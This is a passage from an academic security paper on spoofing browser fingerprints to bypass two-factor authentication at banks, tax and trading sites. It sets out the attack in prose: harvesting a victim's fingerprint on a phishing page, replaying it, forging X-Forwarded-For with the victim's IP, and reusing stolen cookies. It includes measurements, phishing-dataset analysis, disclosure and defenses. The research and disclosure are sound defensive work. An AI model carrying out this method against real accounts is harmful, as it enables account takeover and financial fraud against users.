remember devices, and (iii) imposes restrictions based on the
device’s IP address. Furthermore, we follow this procedure
twice, once for testing each website’s default settings, and once
after explicitly enabling 2FA, if such an option is available.

For every website to be tested, we first log into our account
using our primary device and select the “remember this device”
option, if available. Then we logout and re-login, to check
if the website does indeed remember the device (i.e., does
not present a 2FA challenge). At this point we also log into
the website using our secondary device, which has never
been used to access this account in the past, and check if a
2FA challenge is presented. Since the secondary device is
not known to the website, we expect 2FA to be triggered in
this case. For websites that present a 2FA challenge when
using the secondary device, while at the same time they
appear to remember the primary one, we explore whether
this happens due to the use of fingerprinting. Specifically, we
clear all browsing data (e.g., cookies, local storage) on the
primary device and log into the account again. If the website
still remembers the device, this is an indication that it uses
fingerprinting to determine if the device is known.

Bypassing 2FA. For the websites that use fingerprinting
to remember the user’s device and trigger 2FA when logging
in from a new device, we use our extension to test if they
are susceptible to our attack. We first visit the login page of
target websites using a browser with FP-Extractor to export
JavaScript code that generates the same fingerprint as the
target website. Then, we mount this code in our honeysite (i.e.,
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attacker’s website) and visit the honeysite with our primary
device (i.e., victim device) to obtain the device’s fingerprint.
After acquiring the fingerprint of the victim’s device we log
into the target website using the secondary device, where
FP-Spoofer will modify the device’s fingerprints to match
those of the primary device. Our attack is deemed successful
if the secondary device does not receive a 2FA challenge.

IP address/Geolocation. We observe that certain websites
consider the device’s IP address/geolocation information as
a signal for determining whether 2FA should be triggered or
not. Specifically these websites check whether the IP address
or IP-based geolocation information (e.g., country, city etc.)
of the device that is currently logging into the account matches
those from previous user logins. Depending on how restric-
tive this check is, it can raise the bar for the attacker or even
prevent our attack; checks that require IP addresses to match
the user’s country or city can be easily bypassed using proxies
and VPN services. Onaolapo et al. [55] found that attackers
actually employ such strategies in the wild. However, websites
that only accept IP addresses that have been used by the user
before can pose a significant challenge to the attacker. During
our experiments, we systematically assess this aspect of the
authentication process and use a VPN to test IP addresses from
different ISPs, cities, and countries. We have also devised a
technique that attempts to bypass such IP-based restrictions;
we modify our network requests when running our attack and
include the victim’s IP address (collected when they visited the
phishing page) in an X-Forwarded-For header. This header
is typically used for specifying the originating IP address when
traffic goes through a proxy [8]. This allows the attacker to pre-
tend that they are actually behind the victim’s IP address and are
using a proxy when attempting to log into the user’s account.

Inferring fingerprinting-based authentication checks.
In practice, the attacker does not need to know which
fingerprinting attributes collected by a target website are
actually used for the authentication process, as our attack
pipeline extracts and replicates all fingerprinting techniques.
However, for our analysis we are interested in obtaining a
more fine-grained and in-depth understanding of risk-based
authentication systems that use fingerprints. As such, for
websites that are vulnerable to our attack, we systematically
evaluate whether each fingerprinting vector actually affects the
authentication process. Due to the prohibitively large number
of potential combinations, we follow a strategy based on the
process of elimination. In more detail, we repeat our attack
multiple times, where in each attempt we remove one of the
fingerprinting attributes contained in the user’s fingerprint pro-
file. Depending on whether each attack instance results in 2FA
being triggered or not, we can infer whether that specific finger-
printing vector is part of the risk-based authentication checks.
By repeating this process for all the fingerprints collected
by that web service, we can identify the absolutely minimum
set of fingerprints required to manipulate the authentication
process. It is important to note that we repeat our experiments

Table 1: Fingerprinting attributes used by websites with a
detectable login page (within the Alexa Top-20K).

Top 10K Top 10K-20K
Technique Home Login Home Login

Navigator 5,510 5,403 5,587 5,371
Window 5,261 5,104 5,272 4,968
Screen 5,209 4,682 5,231 4,473
Timezone 5,035 4,617 4,934 4,282
Canvas 1,224 1,254 1,077 879
Canvas Fonts 179 380 142 237
WebRTC 221 313 192 210
AudioContext 290 351 223 234

numerous times over the course of multiple months, to ensure
the validity of our findings and avoid false positive (i.e.,
labeling an attribute as necessary even though it is not) due
to some other mechanism being triggered (e.g., multiple
consecutive logins triggering a rate-limiting mechanism).

4.2 Experimental Results
Here we present our experiments exploring the feasibility and
effectiveness of our attack in the wild.

First, in Table 1 we provide statistics on the prevalence of
fingerprinting techniques for websites in the Alexa top 20K
for which we were able to identify their login page (i.e., 5,736
and 5,791 websites in the top 10K and top 10K-20K datasets,
respectively). We observe that the majority of websites, in both
datasets, collect basic fingerprints. Furthermore, we observe
a clear trend of websites in the top 10K dataset employing
more advanced fingerprinting techniques on the login pages
compared to their home page. The websites in the 10k-20k
dataset exhibit a more uniform deployment of advanced tech-
niques. Notably, while we observe widespread deployment of
fingerprinting vectors, these are not often incorporated into the
websites’ authentication process, as we will detail next. We hy-
pothesize that these are more likely used for tracking purposes.

We select a subset of 300 popular websites from our
discovery process that implement fingerprinting and support
2FA for manual exploration and testing. These were selected
based on our experiment on websites with fingerprinting code
on their login pages and being listed on [1]. Our experiments
reveal that only 16 out of the 300 websites use fingerprints for
remembering the user’s device, while the rest rely on browser
cookies for this. Interestingly, the tested websites included
four banking and eight tax-preparation websites, of which
two and four respectively use fingerprinting for authentication.
As such, our experiments indicate that (i) high-value and
financial services tend to adopt security mechanisms such
as 2FA in order to better protect their users’ accounts, and
(ii) augmenting the authentication process with fingerprints is
disproportionately used among such high-value services, sig-
nifying the severe ramifications of our attack. As 2FA becomes
more prevalent [14], we expect that risk-based authentication
that uses fingerprints will also become more common.
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Table 2: Risk-based authentication mechanisms in popular web services we evaluated against our attack. For IP address restrictions
we explicitly note if using the X-Forwarded-For header (7→) or IP addresses from the same city (⊗) is effective.

Fingerprinting Technique IP Address Restrictions
Website Basic FP Canvas/WebGL Fonts Audio IP Check Bypass Vulnerable

Bank-A 3 7 7 7 7 - 3
Bank-B 7 7 7 7 3 7 7
CreditCard 3 7 7 7 3 7→ 3
Trading-A 3 7 7 7 7 - 3
Trading-B 7 7 7 7 3 7→ 3
Tax-A 3 3 7 7 3 7 7
Tax-B 3 3 3 7 7 - 3
Tax-C 3 3 3 3 7 - 3
Tax-D 3 3 3 3 3 7 7
eCommerce-A 3 3 7 7 7 - 3
eCommerce-B 3 7 7 7 3 7 7
RideSharing 3 3 3 7 3 7→ 3
Food&Beverage-A 3 7 7 7 3 ⊗ 3
Food&Beverage-B 3 7 7 7 3 7 7

AdBlocking 3 7 7 7 3 ⊗ 3
WebInfrastructure 3 7 7 7 3 7 7

Table 2 details the findings from our attack evaluation on
the authentication mechanisms of these 16 websites. Our main
focus here is on the first 14 services which trigger 2FA when
a new device is used to access an account. We also include two
services (WebInfrastructure, AdBlocking) that highlight
additional dimensions of risk-based authentication. Due to the
severity of our attacks and the fact that accounts on certain ser-
vices are extremely valuable and highly-targeted, we present
them in an anonymized form that denotes their category.

As can be seen in Table 2, our attack can successfully bypass
2FA in 9 out of the 14 websites. The five websites that are not
vulnerable to our attack require the device’s IP address to match
one of the IP addresses previously used to access that account,
and are not deceived by our X-Forwarded-For ploy. Further-
more, we found that 12 of the 14 websites use fingerprinting to
determine if the authenticating device is known and whether
2FA should be triggered or not. From the total of 14 websites
that use fingerprinting, eight rely on basic fingerprints (e.g.,
properties of navigator, window, etc.), and six of the tested
websites use more advanced fingerprints for authentication like
canvas/WebGL and fonts. Finally, two of those also use audio
fingerprinting for the purpose of authentication. We provide
additional details for interesting use cases in the Appendix.

Our exploration revealed another dimension of the use of
fingerprinting for authentication. Basic fingerprints remain the
same across different sites, since they correspond to the user’s
system characteristics and properties and do not change as long
as the environment remains the same. For advanced fingerprint-
ing techniques, however, a site is able to make its users generate
fingerprints that are different from those generated when vis-
iting other sites (e.g., by rendering a unique image). While this
may prevent the attacker from creating “generic” fingerprints
that can be used on multiple websites, our attack is still effec-
tive since we extract the fingerprinting code from each target
website and generate appropriate site-specific fingerprints.

Our analysis shows that only six of the 16 websites employ
advanced fingerprinting techniques. To make matters worse,
three of the tax-related websites use the default implementa-
tion of Fingerprintjs2 for the advanced fingerprints. This
results in these three websites rendering the same images
for canvas fingerprinting and loading the same list of fonts
for fonts enumeration. We also found that Tax-C and Tax-D
use the same audio snippet for audio fingerprinting (Tax-B
employs an earlier version of Fingerprintjs2 that does not
support audio fingerprinting). As a result, an attacker who uses
Fingerprintjs2 (or the code extracted from one of these
websites) can obtain the fingerprinting values required for
bypassing 2FA in all three websites. To further explore this
issue, we visited the websites of 10 additional popular banks
to check whether they use advanced fingerprinting techniques,
and observed significant overlap across the images and fonts
lists they use. Even though each website renders between 1-5
images, there are only nine images and two random images in
total across the ten websites. Two websites with JS font finger-
printing use identical font lists, and five websites with canvas
font fingerprinting use one of two font lists. The two sites with
audio fingerprinting render the same audio wave form.

IP constraints. While Bank-B and Trading-B do not use
any JavaScript-based fingerprinting attributes but only rely on
the UserAgent HTTP header, which can be trivially spoofed,
we include them in our analysis to illustrate the challenge
posed by IP address checks as well as the dangers of trust-
ing X-Forwarded-For. In more detail, regarding IP-based
constraints, we found that only 11 websites perform such
checks for determining if the login attempt is suspicious. Our
attack can bypass the IP address restrictions in three web-
sites using the X-Forwarded-For header in outgoing requests
(CreditCard, Trading-B, RideSharing). Moreover, we
found two websites that do not trigger 2FA if the authenticating
IP address matches the user’s city. With the wide availability
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of VPN and proxy services, we consider such coarse-grained
checks to be inadequate for protecting valuable accounts.

Cookie hijacking. Up to this point we have focused on
attackers that have the account credentials (e.g., obtained
through phishing), as that is the most common account
hijacking vector according to prior research [23]. Nonetheless,
recent work by Drakonakis et al. [31] demonstrated the fea-
sibility of cookie-hijacking attacks at scale. More importantly,
the authors noted the lack of additional fraud-detection checks
(which occur during the log in process) when attackers use
stolen cookies as those belong to sessions that have already
been “validated”. In fact, the authors found only one instance
where they were not able to access the victim’s account due
to such checks. To that end, we include WebInfrastructure
to test whether our attack can also be leveraged by cookie
hijackers. For this experiment we visit WebInfrastructure
using our primary device, log into our account, and export
WebInfrastructure’s cookies from the browser. Then, we
import these cookies into a different browser on our secondary
device, and visit WebInfrastructure. Initially we found
that we were, indeed, unable to access our account using the
“stolen” cookies. Upon a more in-depth analysis we found
that the site uses the device’s User Agent (obtained through
JavaScript and the HTTP header) to detect suspicious logins,
but also checks the IP address. As such, when attempting to
access the account using the stolen cookies and FP-Spoofer,
we could only gain access if the secondary device’s IP
address was one previously used by the victim. As such, while
fingerprint-spoofing allowed us to pass the corresponding
checks, the IP address check effectively prevents the attack.

Email alerts. While our experiments focus on bypassing
2FA, we include our analysis of AdBlocking, as it highlights
an additional dimension of risk-based authentication. In more
detail, AdBlocking accounts have 2FA disabled by default,
but the service alerts users about successful logins that occur
from new devices or from IP addresses that are not from the
same city. However, we found that by spoofing the fingerprints
we can trick the service into not sending the email alert.

Behavioral evolution over time. We re-tested affected
services at least 20 times over a period of six months (04/2021 -
09/2021), even after our disclosure. Interestingly, we observed
cases where the risk-based authentication behavior changed
over time. In our initial experiments with Trading-A, their
system required the user to solve a 2FA challenge every time, if
2FA was explicitly enabled by the user. For the default setting,
however, the system used basic fingerprints to determine if
a 2FA challenge should be presented. When re-analyzing
Trading-A some time after our disclosure, we observed that
Trading-A now requires the user to provide a phone number
when registering a new account and that 2FA is enabled by
default for new accounts. We cannot tell, however, if this
change happened organically, or due to our disclosure and
recommendations. Surprisingly, 2FA has not been retroac-
tively enabled for existing accounts, resulting in different

Table 3: Phishing website datasets. JS denotes the websites
for which we have JavaScript execution traces, and FP denotes
the phishing sites that collect browser fingerprints.

Dataset Time Period Sites JS FP

Phish-A 31/05/2018 - 19/06/2019 71,343 39,618 29,312
Phish-B 31/10/2018 - 05/05/2020 82,431 40,777 36,733
APWG 05/05/2020 - 12/04/2021 173,269 93,568 85,491

default levels of protection for accounts. Another example
is Tax-B; in our initial experiments it used fingerprinting to
remember the device but now relies on the presence of cookies
to determine if the device is known. Again, we cannot tell if
this change was the result of our recommendations. Our final
example is that of WebInfrastructure, which matched the
device’s IP address and User Agent in our initial experiments.
However, prior to our disclosure we observed that these checks
were removed and we can now successfully access the account
using “stolen” cookies, regardless of the device or IP address
we connect from. We do not know what led to the removal
of these additional security checks, but have disclosed our
findings to them and they are currently investigating the issue.

5 Phishing and Fingerprinting

In this section we focus on the phishing ecosystem and present
a large-scale exploration of the phishing sites obtaining
users’ browser fingerprints. We correlate the information that
phishers currently collect with the findings from our empirical
analysis in §4 to assess whether attackers are already collecting
sufficient fingerprinting attributes for carrying out our attack.

Datasets. Table 3 details the datasets used for our analysis.
We obtained the two datasets (Phish-A, Phish-B) from the
authors of [76], which include more than 153K phishing
sites that appeared over a two-year period. They also include
the corresponding JavaScript for 80,395 of the sites. While
Phish-B does not include labels for the target website (e.g.,
if the phishing site is masquerading as Paypal) we cross-
referenced that dataset with information made available by the
Anti-Phishing Working Group’s (APWG) eCrime Exchange
(eCX) repository, allowing us to obtain the missing labels.
Finally, we obtained the APWG dataset directly from the eCX
repository [12], which provides a more recent and extensive
snapshot of the phishing ecosystem over an 11-month period.
Together, these datasets provide a broad and representative
view of the phishing ecosystem over a three year period.

JavaScript execution traces. To better understand if phish-
ing websites are using fingerprinting and whether they are
collecting fingerprints that would allow the attacker to carry
out our attack, we use VisibleV8 to dynamically analyze the
JavaScript code of the phishing sites in our datasets. For the
Phish-A and Phish-B datasets we were provided with the
HTML files of the phishing websites as well as the JavaScript
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Table 4: Phishing sites that implement fingerprinting.

Phishing Datasets
Technique Phish-A Phish-B APWG

Navigator 27,578 34,650 84,239
Window 24,848 23,650 73,258
Screen 10,244 26,856 57,633
Timezone 22,636 28,549 59,251
Canvas 3,508 5,395 11,650
Canvas Fonts 56 91 399
WebRTC 536 165 1,938
AudioContext 275 363 1,795

files they load. To that end, we deploy them on our own local
server and re-write the origin URL of the JavaScript files loaded
to point to the corresponding JavaScript files in our datasets.
This allowed us to analyze phishing sites that are not available
anymore due to the sites being taken down or the original ver-
sions of their JavaScript files not being available anymore. For
the more recent APWG dataset we visit the actual phishing sites,
as this dataset does not include a snapshot of their code. We use
VisibleV8 to load each phishing site and log all the JavaScript
calls along with their arguments. To ensure that websites’
JavaScript code is executed, we interact with the pages in an
automated way to emulate simple user behavior (e.g., scrolling,
making random mouse movements and clicks). Based on the
JavaScript execution traces that we extract from VisibleV8’s
logs we determine which fingerprinting techniques each phish-
ing website implements and which attributes are collected.

Table 3 presents the phishing datasets we used in our analy-
sis, the number of websites in each dataset that run JavaScript,
and how many of them are collecting fingerprints. A general
observation is that the percentage of phishing websites that
appear to run JavaScript is lower than what we would have
expected, across all 3 datasets (i.e., between 49.46% and
55.53%). We manually checked 25 random phishing sites from
the APWG dataset that did not produce a JavaScript execution
trace (recall that for this dataset we visited the actual phishing
sites) and found that 14 and three return a 404 and 403 error
respectively, while three other sites show a static page with an
“account suspended” message. From the remaining websites
one is a shortened URL that has been flagged by Bitly as
potentially harmful, and another uses a shortened URL for
a Google Forms site, but has been suspended by Google for
violating their terms of service. Finally, one site has no content,
one includes an empty local JavaScript file, and one shows a
popup window asking for a username and password. As such,
apart from the unavailability of resources or sites being taken
down, we believe that client-side cloaking techniques [76]
have likely affected the collection of JavaScript across all
three datasets. Interestingly, for the phishing websites with
JavaScript execution traces, we find that the majority collect
fingerprints, with 73.98%, 90.08% and 91.36% across the
3 datasets respectively. We also observe an increase in the
number of websites collecting browser fingerprints over time.

Table 5: Phishing sites that obtain all the necessary browser
fingerprints for bypassing 2FA in the target sites. “*” indicates
a mismatch in fingerprinting function arguments.

Phish-A Phish-B APWG
Target Sites Bypass Sites Bypass Sites Bypass

Bank-A 83 1 685 14 330 74
Bank-B 1,549 - 2,683 - 327 -
CreditCard 89 61 0 0 12 0
Trading-A 0 0 0 0 6 6
RideSharing 7 0 363 1* 1378 5*
WebInfrastructure 0 0 1 1 220 219

Table 4 presents the number of phishing sites that collect
various types of fingerprints. The study by Zhang et al. [76] on
phishing sites’ cloaking strategies reported checks for simple
browser attributes (specifically, the User Agent and whether
cookies are disabled) on approximately 23% of the phishing
sites. Our analysis provides a more comprehensive picture of
the three datasets as we detect all common fingerprinting tech-
niques, while also revealing the widespread use of advanced
fingerprinting techniques across the phishing ecosystem.
Specifically, we find that in total 28,526, 35,653 and 85,461
(i.e., 39.98%, 43.25% and 49.32%) websites from the three
datasets collect basic fingerprints with the majority of them be-
ing properties of the Navigator, and that between 5% and 7%
collect advanced fingerprints, with canvas fingerprinting being
the most prevalent technique among them. We also explore
whether and how phishing sites send fingerprinting values
back to their servers; we provide more details in Appendix E.

Bypassing 2FA. Next, we analyze the subset of phishing
sites that target one of the services from Table 2 and for which
we have their JavaScript execution traces. Specifically, we
cross-reference the fingerprinting attributes that each phishing
site collects with those necessary for manipulating the target’s
risk-based authentication mechanisms to bypass 2FA. As can
be seen in Table 5, Bank-B is an extremely popular target for
phishing websites. Since Bank-B only relies on the User Agent
HTTP header and does not check navigator.userAgent,
essentially every phishing site has sufficient information to
pass the device-based check. Nonetheless we include it here
as a point of comparison. Additionally, since we do not have
historical information of when the IP-address-based check
was deployed by Bank-B we cannot conclude how many
phishing sites would have been able to bypass 2FA in practice.

On the other hand, we find that Bank-A is not only a popular
target, but that the number of phishing sites that collect the
appropriate fingerprints is significantly larger in our most
recent dataset; while 8.1% of the phishing sites are capable
of bypassing 2FA in Bank-A across all datasets, in the most
recent dataset the ratio climbs to 22.42%. This indicates that
phishers are adapting over time to the risk-based mechanisms
employed by high-value websites like Bank-A. Interestingly,
while we find that six phishing sites collect all the necessary
fingerprinting attributes used by RideSharing, the actual
arguments passed to two dynamic fingerprinting functions
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Figure 2: Phishing websites targeting Bank-A and Bank-B.

(for canvas and font fingerprinting) are not the same as those
used by RideSharing, thus rendering their overall fingerprint
a mismatch. Further inspection reveals that in five cases
the mismatch is due to the phishing sites using the default
values used by popular fingerprinting libraries, while the final
instance is using a library by an anti-bot service.

Longitudinal trends. To get a broader view of phish-
ing sites potentially adapting their targets over time, we use
APWG’s eCX service to obtain the phishing domains that tar-
geted Bank-A and Bank-B between 2016-2020, as shown in
Figure 2. While in 2016 and 2017 the two banks were targeted
by a comparable number of phishing sites, Bank-B phishing
sites aggressively increased in 2018 and continued to increase
in 2019, but had a sharp decline in 2020. On the other hand, the
number of phishing sites targeting Bank-A steadily increase
from year to year. While we cannot conclusively infer the root
cause of this trend without detailed knowledge of the risk-based
authentication checks the banks enforced throughout this entire
period, Figure 2 and Table 5 indicate that phishing sites may
be adapting their targets based on the obstacles presented by
risk-based authentication. In other words, since bypassing 2FA
in Bank-A currently only requires spoofing certain fingerprints
while Bank-B also requires exactly matching the user’s IP
address, Bank-A presents a more attractive target to phishers.

Summary. Overall, while our analysis is limited to phishing
sites for which we were able to obtain their JavaScript code, our
findings show that phishing sites are not yet widely replicating
the fingerprint-generation process of targeted websites.
Nonetheless, the cases of Bank-A and CreditCard highlight
the risks that users face and the need to improve existing
risk-based authentication deployments, as we discuss in §6.

6 Discussion, Limitations and Defenses

In this section we further discuss our experiments and findings.
Ethics and disclosure. The severity of our attack necessi-

tates the responsible disclosure of our findings to the affected
vendors. As such, we disclosed our methodology and findings
to every vulnerable website through their bug bounty programs
or security contact points when those were available. When
we could not find contact points dedicated to security issues
we reached out over their general contact email address. At
the time of writing, six vendors have responded. Bank-A,

Tax-A and WebInfrastructure requested additional details
and proof-of-concept demonstrations, which we provided.
Bank-A, subsequently, verified our attack and is currently
working towards a fix. eCommerce-A informed us that they
were aware of the issue. It is important to emphasize that all
of our experiments were conducted using test accounts or our
personal accounts. We did not interact with or affect other
users, nor did we collect browser fingerprints from any users.

Fingerprinting and authentication prevalence. While
using fingerprints for augmenting the authentication process
is not a new concept [17], our experiments reveal that this has
yet to become widespread practice. However, as fingerprinting
has gained significant traction in recent years, and third-party
libraries have started supporting the use of fingerprints for
authentication (e.g., [6, 9]), it is likely that such mechanisms
will become far more common in the near future. Additionally,
our research shows that while in many cases fingerprints
may be used for augmenting the authentication process, other
signals carry more “weight” (e.g., the presence of cookies and
the device’s IP address). Unfortunately, our experiments show
that high-value services (e.g., banks, tax services) are most
commonly vulnerable to our attack. As such, while the attack
that we demonstrate may not yet be a widespread threat, the
severity of the affected web services and the overall implica-
tions of their user accounts being compromised, highlight the
need for alerting developers about the security implications of
leveraging device fingerprints for the authentication process.
We also hope that our work kickstarts a wider discussion
within the research community and incentivizes additional
research on fingerprinting schemes that are robust to spoofing.

Attributes. Our extensions target the fingerprinting vectors
used by popular libraries and websites. If a website uses custom
techniques or those libraries incorporate additional techniques,
our extensions would need to be expanded for handling them.

2FA mechanisms. While SMS is the most commonly de-
ployed 2FA technique, despite its well-documented shortcom-
ings [29,41,51], our attack is not limited to a specific 2FA mech-
anism but instead provides a method for deceiving the risk-
assessment engine that decides whether a 2FA challenge should
be triggered. For instance, eCommerce-A supports the use of
authenticator apps for 2FA, and our attack bypasses that as well.

MITM phishing toolkits like Evilginx [4] allow attackers
to deploy phishing websites with man-in-the-middle capabil-
ities for using phished credentials to log into target websites
in real time (i.e., when the victim is interacting with the
phishing site) and then also trick the victims into divulging
a 2FA code, thus allowing the attacker to log into the victim
account. However, the major limitation of this attack is that in
high-value services that only use short-lived session cookies
the attacker can only access the victim’s account that one time
and would fail in future attempts due to the 2FA challenges.

Guidelines for vendors. As we demonstrate, certain
techniques for augmenting authentication may actually
undermine the overall security posture of a given service.
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Two-factor authentication. In our experiments we found
that only 8 of the vulnerable services we have identified offer
an option to mandate that a 2FA challenge has to be passed
for every login attempt (one more site offers that option
only for transactions). Moreover, in all cases, that option is
optional and users have to explicitly enable it. As such, we
argue that all websites should provide such options, as that
would allow users to fortify their account against our attack,
while also significantly raising the bar for attackers in general.
We believe that this option should be opt-out instead of
opt-in, especially in high-value or highly-sensitive services,
to further nudge users towards improving their security
hygiene; indicatively, Google recently automatically enrolled
150 million users in 2FA [7]. We do note, however, the friction
that additional authentication requests and factors can cause.
This tradeoff between usability and security has been studied
extensively [27], and recent reports found that users are in
favor of strengthening security in high-value services through
2FA [59]. Finally, while this is not pertinent to our attack,
since it is not affected by the actual form of 2FA mechanism
selected by the user, vendors should strive to adopt and offer
more secure 2FA options (e.g., U2F, authenticator apps).

Risk signals. Our experiments revealed that certain vendors
incorporate fingerprints into the authentication process, but
other signals play an important role and can affect the feasibil-
ity of our attack. We have identified two signals that vendors
should use for identifying suspicious logins and triggering
2FA. First, we found that certain sites will always trigger 2FA if
the request doesn’t include certain HTTP cookies. While there
are legitimate scenarios where this occurs (e.g., the user has
cleared the browser’s browsing data), it can also indicate that
the login attempt is from a new/unknown device. Obviously,
using this signal would not be effective against cookie hijack-
ers. Second, we found that certain sites have more stringent
IP-based checks. While attackers can easily use proxies or
VPN services to “obtain” an IP address with a similar geoloca-
tion to the victim [55] (e.g., same city) stricter IP requirements
(e.g., belonging to the same ISP or having been used to access
that account before) present additional obstacles to attackers.
Overall, as noted by OWASP [56], when alternative defenses
are “implemented in a layered approach, they can provide
a reasonable degree of protection”. As such, a careful use of
browser fingerprints in conjunction with other signals like
IP address checking and mandating the presence of specific
cookies, can lead to a more robust authentication process.

Best practices for users. Our main threat model assumes
that the attacker knows the user’s password. As such, the attack
can be mitigated by “best practices” commonly highlighted in
guides for safer Internet browsing, such as the use of password
managers. Additionally, users should enable 2FA in sites that
support it, and further enable options that require solving a
2FA challenge in every login if such an option is available (e.g.,
Tax-A offers this). Finally, users can adopt tools or browsers
that affect browser fingerprinting, which we discuss next.

Anti-fingerprinting defenses. Our attack relies on our
ability to accurately obtain and replicate, the user’s browser
fingerprints. As such, defenses [21] offered by browser
extensions or privacy-oriented browsers that alter the user’s
fingerprints can potentially mitigate or prevent our attacks.
However, this depends on the specific fingerprinting attributes
covered by each defense and whether they are used by a
given website. We also note that such defenses may affect
or break websites’ functionality. In our experiments we also
visited target websites using Brave as our primary browser,
which randomizes canvas fingerprints for tracking prevention,
and observed that sites that use canvas fingerprinting for
authentication always prompted us to solve 2FA.

Future directions. Recent research proposed using finger-
prints to augment authentication [44] by “chaining” sessions,
with a random canvas fingerprint being generated in each ses-
sion and used for verification in the following session. While
this approach can effectively mitigate the phishing attack we
present, it is vulnerable to other attacks. Nonetheless, we con-
sider this an important proposal and hope that our work further
incentivizes additional research in the area. While an ideal
countermeasure would remove the need for chaining sessions,
any approach that does not rely on memory of prior sessions
must solve an inherent challenge: generating a fingerprint in
a manner that cannot be spoofed. Since this is a client-side
process, such an approach would necessitate leveraging some
form of Trusted Execution Environment (e.g., a system like
TrustJS [37]). We consider this an interesting future direction.

7 Related Work

To the best of our knowledge, this paper presents the first
comprehensive security analysis of real risk-based authenti-
cation systems that leverage browser fingerprints, and the first
demonstration of a practical attack for bypassing 2FA. Here we
discuss prior work and studies around data breaches, account
hijacking and authentication-augmenting mechanisms.

Van Acker et al. [70] conducted a large scale study on the
security of login pages, by evaluating the presence of mixed
content and the use of mechanisms like HSTS, HPKP and SRI.
To detect breaches in popular services, DeBlasio et al. [28]
proposed an approach that leverages honey accounts and pass-
word reuse as a method for detecting sites being compro-
mised. Prior work has also proposed strategies for deploy-
ing risk-based authentication systems, or have studied certain
characteristics of real-world deployments. In an earlier study,
Hurkala and Hurkala [39] proposed a system that relies on
the IP address, device profiling (i.e., User-Agent and Accept-
Language in HTTP headers), presence of cookies, access time
and failed login attempts. Freeman et al. [35] used a real-user
dataset of login attempts from Linkedin, and classified them
into benign and suspicious based on the IP address and User
Agent. Steinegger et al. [67] implemented an authentication
system that checks the browser fingerprint (calculated using the

1662    31st USENIX Security Symposium USENIX Association



Fingerprintjs2 library), geolocation (i.e., country) based on
the IP address, and the number of failed login attempts. Alaca
and van Oorschot [17] identified several fingerprinting vectors
that can be used for authentication and classified them based on
the distinguishability they provide and their resistance to spoof-
ing. Spooren et al. [65] explored the effectiveness of mobile fin-
gerprints for risk-based authentication and found that they are
considerably less unique than the fingerprints of personal com-
puters. In a different line of work, Bonneau et al. [22] explored
the privacy concerns that arise due to the permanence and
simulatability of such features when used for authentication.

Wiefling et al. [74] explored the authentication systems of
eight popular services to identify which features contribute
to the computation of the risk score. To that end, they created
a number of personas and corresponding accounts, and built
a framework that uses virtual machines and emulates user
activities. However, their experiments only focus on the User
Agent string, language, and screen resolution, and as such
do not provide in-depth or detailed insights on how browser
fingerprints are actually being used for risk analysis in the
wild. In a subsequent work [72], they performed a study with
780 users, in which they collected 247 fingerprinting features
during login and assessed their suitability for risk-based
authentication. In [73], they explored users’ perceptions on the
usability and security of risk-based authentication, and in [75]
they assessed link-based and code-based re-authentication.

Previous work [19, 20] has focused on identifying finger-
printing attributes that are suitable for authentication (e.g.,
with high entropy, low usability cost, stability). In [20]
Andriamilanto et al. proposed FPSelect, a tool for selecting
fingerprinting attributes for authentication systems that
satisfy a service’s security requirements while minimizing
the usability cost. In a follow up work [19], they conducted a
large-scale study on the properties of browser fingerprints for
authentication. They found that at least 90% of the inspected
fingerprinting attributes are stable (i.e., identical values for
almost six months) and can be used for authentication. In [18],
Andriamilanto and Allard present BrFAST, a framework that
incorporates FPSelect, for the selection of fingerprinting
attributes. These studies assumed an attacker with knowledge
of the distribution of fingerprints who performs a dictionary-
style attack by submitting common fingerprinting values. We
explore an entirely different attack where the attacker extracts
a user’s exact fingerprints and spoofs their own device’s
fingerprints to match these values when impersonating the user
and, importantly, demonstrate the implications of this attack
in the wild. Moreover, our attack can spoof all the attributes
these studies proposed for augmenting authentication.

In an independent concurrent study, Liu et al. [50] explore
a similar attack and demonstrate that users’ fingerprints can be
spoofed by an attacker. However, their approach does not detect
which fingerprinting attributes are needed for different target
websites,nor does it provide a method for automatically extract-
ing and generating per-target-website fingerprinting code. It

also overlooks various advanced attributes handled by our sys-
tem (e.g., canvas fonts). More importantly, their attack requires
significant manual effort for several attributes, including paus-
ing execution with breakpoints and manually changing object
values through the browser’s debugging tools, and changing
browser and operating system settings. Finally, this study does
not present an in-depth exploration and evaluation of the attack
against risk-based authentication systems in the wild.

Furthermore, Campobasso and Allodi [24] recently re-
ported on an underground marketplace that sells resources for
bypassing risk-based authentication. This marketplace relies
on malware that infects victims computers for collecting a vast
amount of information, which includes browser fingerprints
for some users. The paper provides an interesting economic
analysis on the impact of various resources on the pricing
of account profiles. However the authors did not analyze
any profiles/resources or the software used for obtaining and
generating those resources, which could provide additional
insight on the exact nature of the fingerprints being collected,
the services being targeted, and the actual effectiveness of
the attack resources offered by the marketplace for bypassing
risk-based authentication mechanisms. As such, this study is
complementary to our work as it indicates that attackers are
indeed exploring techniques for impersonating user devices.

8 Conclusions

Critical and high-value web services have introduced
additional security mechanisms and checks into their authen-
tication workflows to prevent attackers from compromising
accounts even if they are able to obtain or guess users’ creden-
tials. We presented the first empirical analysis of the operation
and effectiveness of such systems in real-world high-value web
services. Accordingly, we demonstrated how attackers can
automatically extract and misuse users’ browser fingerprints
for deceiving risk-based authentication systems into trusting
the attacker’s device and bypass two-factor authentication. Our
real-world experiments highlight the severity of our attack, as
we show that major financial services and e-commerce services
are vulnerable. We also found major services being targeted
by phishers that obtain sufficient fingerprinting attributes
to completely bypass 2FA. As such, our research highlights
the danger of incorporating additional security mechanisms
without first conducting a comprehensive and in-depth
assessment of potential pitfalls. To get the remediation process
under way, we have notified the affected vendors and proposed
guidelines for a more robust authentication process.
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A Use Cases

We provide additional details about select cases of websites
susceptible to our attack. Our comprehensive manual analysis
helped us understand how risk-based authentication systems
behave and revealed shortcomings in their implementation.
Tax-B does not enable 2FA by default. Instead, the user can

opt in through the website’s settings by selecting email, SMS,
or the Google Authenticator app as their second factor. Tax-B
also records the user’s IP address for each login. Users can find
information about their trusted devices and past logins in the
account preferences, including sign-in timestamps as well as
the devices’ IP addresses. Interestingly, while Tax-B records
the IP addresses used in past logins, we found that it does not
use this information to determine if a new login is suspicious.

Our experiments reveal that Tax-B uses a fingerprinting
script on its login page that is highly similar to the popular
fingerprinting library FingerprintJS. A notable difference,
however, is that Tax-B’s script does not implement audio
fingerprinting. Furthermore, by inspecting outgoing network
traffic when logging into the website using our primary device,
we observed that a JSON string that includes 33 fingerprinting
values is sent to Tax-B’s server. To fingerprint JavaScript
fonts, Tax-B uses “monospace” as the base font and checks
against a list of 495 different font families. After embedding
Tax-B’s code and fonts list into our phishing site and visiting
